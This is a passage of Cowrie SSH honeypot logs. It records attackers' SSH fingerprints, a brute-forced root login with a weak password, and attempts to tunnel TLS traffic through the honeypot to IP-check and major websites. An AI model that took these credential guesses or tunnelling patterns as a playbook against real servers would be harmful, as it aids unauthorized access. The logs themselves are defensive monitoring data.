stp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:19.063398Z","src_ip":"193.32.162.151","session":"f8bfb7aee774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":36676,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8b3c43360b7","protocol":"ssh","message":"New connection: 185.156.73.233:36676 (159.203.135.109:22) [session: a8b3c43360b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:19.347214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:19.351468Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:19.418165Z","src_ip":"193.32.162.151","session":"f8bfb7aee774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:19.426798Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:19.793788Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:20.524346Z","src_ip":"193.32.162.151","session":"f8bfb7aee774","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.211.115.45","dst_port":443,"src_ip":"185.156.73.233","src_port":43100,"message":"direct-tcp connection request to 52.211.115.45:443 from 127.0.0.1:43100","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:21.788474Z","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.211.115.45","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.211.115.45:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:22.611243Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.211.115.45","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe7\\x809\\xca1\\xcc\\x17\\xb3\\n\\x14k?\\xb8\\xc4\\xde\"\\x89\\xf3\\xc7\\xe4\\xa1\\x91_k\\xda\\x9b\\xcd\\xa1\\xc4\\x95\\x10N \\xe4\\xc5\\x8b\\x9e\\xe8G\\x88\\xd9L\\xbbZ\\xe7\\xd1\\x97\\xe4++\\xea\\x0fE\\xc5\\xb8\\xb7\\xa5!\\x82\\xd3\\xf4X/\\x08\\xf6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xaa\\'\\x1e2\\xe2r\\xabu\\xca\\x8b\\xd4\\xb8\\xa4\\t\\xd2\\x99\\xc2=\\x1d\\xceq,X\\xee\\xcc\\x8e\\x8e\\xd1\\xa9\\xd7<k\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 52.211.115.45:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe7\\x809\\xca1\\xcc\\x17\\xb3\\n\\x14k?\\xb8\\xc4\\xde\"\\x89\\xf3\\xc7\\xe4\\xa1\\x91_k\\xda\\x9b\\xcd\\xa1\\xc4\\x95\\x10N \\xe4\\xc5\\x8b\\x9e\\xe8G\\x88\\xd9L\\xbbZ\\xe7\\xd1\\x97\\xe4++\\xea\\x0fE\\xc5\\xb8\\xb7\\xa5!\\x82\\xd3\\xf4X/\\x08\\xf6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xaa\\'\\x1e2\\xe2r\\xabu\\xca\\x8b\\xd4\\xb8\\xa4\\t\\xd2\\x99\\xc2=\\x1d\\xceq,X\\xee\\xcc\\x8e\\x8e\\xd1\\xa9\\xd7<k\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:22.614785Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.157.36","dst_port":443,"src_ip":"185.156.73.233","src_port":44060,"message":"direct-tcp connection request to 184.30.157.36:443 from 127.0.0.1:44060","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:23.311837Z","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.157.36","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.157.36:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:24.771595Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.157.36","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Z\\xbc\\xaa\\xf2\\xab\\x03;g#k\\x183\\xe5QY\\xd1{;\\t\\x7f\\xd9\\xbe\\x9d\\x04\\x9e\\xc0\\xd5\\xdax\\xbe\\x15\\xb9 {DY[\\x9ab\\xf9s\\xad\\x85Ph:S&O\\xa2\\x08\\x177\\xc2@\\xc8\\xb2\\x80*J\\x90\\xda\\xec\\x15\\xe7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd6\\xdd6L\\xe4\\xc4\\xc3\\xab \\xe0\\xf9J\\xbb\\x83M5\\xd8\\x7f\\x10\\xab\\x02\\xecK\\xca\\xa8lb\\xd8\\xec\\x03\\xecp\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.157.36:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Z\\xbc\\xaa\\xf2\\xab\\x03;g#k\\x183\\xe5QY\\xd1{;\\t\\x7f\\xd9\\xbe\\x9d\\x04\\x9e\\xc0\\xd5\\xdax\\xbe\\x15\\xb9 {DY[\\x9ab\\xf9s\\xad\\x85Ph:S&O\\xa2\\x08\\x177\\xc2@\\xc8\\xb2\\x80*J\\x90\\xda\\xec\\x15\\xe7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd6\\xdd6L\\xe4\\xc4\\xc3\\xab \\xe0\\xf9J\\xbb\\x83M5\\xd8\\x7f\\x10\\xab\\x02\\xecK\\xca\\xa8lb\\xd8\\xec\\x03\\xecp\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:24.774119Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.154.119","dst_port":443,"src_ip":"185.156.73.233","src_port":45762,"message":"direct-tcp connection request to 142.251.154.119:443 from 127.0.0.1:45762","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:25.826894Z","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.154.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.154.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:28.157640Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.154.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xff\\xca\\xc8;\\xf0 \\x0b\\x0c\\x0f`1g\\xc8e\\xe8\\x05\\xe4x\\x7f\\xf2-\\xd4\\x81L^9\\xcb\\xfc\\xd3\\x10jE f^\\xf4\\xb4$+\\xee\\x15\\xdeu\\x85#\\xa8\\xa0\\xe8\\\\\\xb3\\x96/\\xe6\\xd1\\xde\\x82R1\\xca\\xe4\\x8e\\x99w1\\xdb\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xde7\\xf1\\x0bNM\\x11\\x98)\\\\C\\xcc\\x91\\xba\\x8e\\xd9\\x8axs\\x94?\\xd6\\x1c\\x06x\\x9a\\xe9\\xebxHfR\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.154.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xff\\xca\\xc8;\\xf0 \\x0b\\x0c\\x0f`1g\\xc8e\\xe8\\x05\\xe4x\\x7f\\xf2-\\xd4\\x81L^9\\xcb\\xfc\\xd3\\x10jE f^\\xf4\\xb4$+\\xee\\x15\\xdeu\\x85#\\xa8\\xa0\\xe8\\\\\\xb3\\x96/\\xe6\\xd1\\xde\\x82R1\\xca\\xe4\\x8e\\x99w1\\xdb\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x